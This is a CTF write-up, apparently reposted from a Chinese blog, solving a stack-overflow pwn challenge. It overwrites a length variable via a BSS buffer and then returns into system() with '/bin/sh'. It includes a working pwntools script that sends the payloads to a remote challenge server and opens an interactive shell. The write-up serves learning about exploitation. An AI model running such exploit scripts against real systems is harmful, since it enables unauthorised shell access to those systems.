南京邮电大学CTF-PWN-Stack Overflow

经过双月赛,通过阅读同级人的WriteUp结合参赛的亲身体验。深深感觉到自己文字表达能力的欠缺,以及技术上的差距。但能意识到差距是好事,意识到了就努力去弥补。一直想要学习PWN,一拖再拖,终于开始了。

关于write up,老师说了一句话,印象深刻。“write up 是写给别人看的,不是你自己看懂了就行。”

进入正题:

把文件拖入IDA,进入main函数F5反编译,先看程序流程。

setbuf(stdin,null)用于清空缓冲区,具体用法可以百度查看C函数setbuf

这里menu函数只是进行一些打印

然后利用fgets函数从标准输入流即键盘输入对choice进行赋值,如果值不等于49即'1',就停止。

关于fgets函数http://c.biancheng.net/view/235.html,它是一种比较安全的输入函数,限定输入的数量而难以直接溢出。

接下来看message函数

先从标准输入流对A赋值,再从标准输入流对堆栈里的's'赋值。

看上去没有可以溢出的地方,查看A与n的位置后。

关于BSS: BSS段用于存放全局变量和静态变量,特点是可读写。

A是一个大小为40的字符数组,n在内存中的位置紧跟着A,然后message函数中又可以最多对A写60个字,所以可以达到覆盖n而修改n的值进而在第二个fgets函数进行堆栈溢出。

而在堆栈溢出里,可以通过淹没返回地址来跳转执行自己的shellcode。

以上是大致的思路。接下来看细节和实现的代码。因为我也是初次接触Pwn,关于pwntools也会将所有新学习到的用法知识记录下来。

使用edb打开程序动态调试,运行到message函数内部

在第一个fgets处,我随意输入了aaa

可以看到0a存放在A[41],所以在第一个输入的时候,第41个值覆盖n。

由于要与shell交互,需要执行system('/bin/sh')

这一题里,在pwnme函数里提供了system函数

关于第二个gets函数的堆栈溢出

s[0]距离13*4个字符即可淹没返回地址。到这里,将返回地址改成system函数的地址即可去执行system函数,但是参数'/bin/sh'还没有,需要自己构造。结合上面bss段可读可写的特点,将'bin/sh'写到bss段,在堆栈溢出时候当作参数写入即可。

写python脚本

from pwn import *
con=remote('182.254.217.142',10001)  #建立与远程服务器的连接,参数一是地址,参数二是端口
con.sendline('1') #发送数据,相当于输入
payload1='A'*40+p32(80)+'/bin/sh' #构造第一个payload 结合上面所说的第一个gets
con.sendline(payload1) #发送第一个payload
elf=ELF('./cgpwna') #ELF文件操作,可以方便得到函数地址
sysadd=elf.symbols['system'] #获取system函数的地址
payload2='A'*52+p32(sysadd)+'A'*4+p32(0x0804A080+44) #构造第二个payload,因为每个函数在call时,堆栈的栈顶是返回地址,所以这里随便用一个'A'充当返回地址,第二个参数为system的参数
con.sendline(payload2)
con.interactive() #执行system('/bin/sh')之后可以与服务器进行交互

然后进入Pwn文件夹下 cat flag,获取flag

猜你喜欢

转载自blog.csdn.net/qq_38025365/article/details/85152601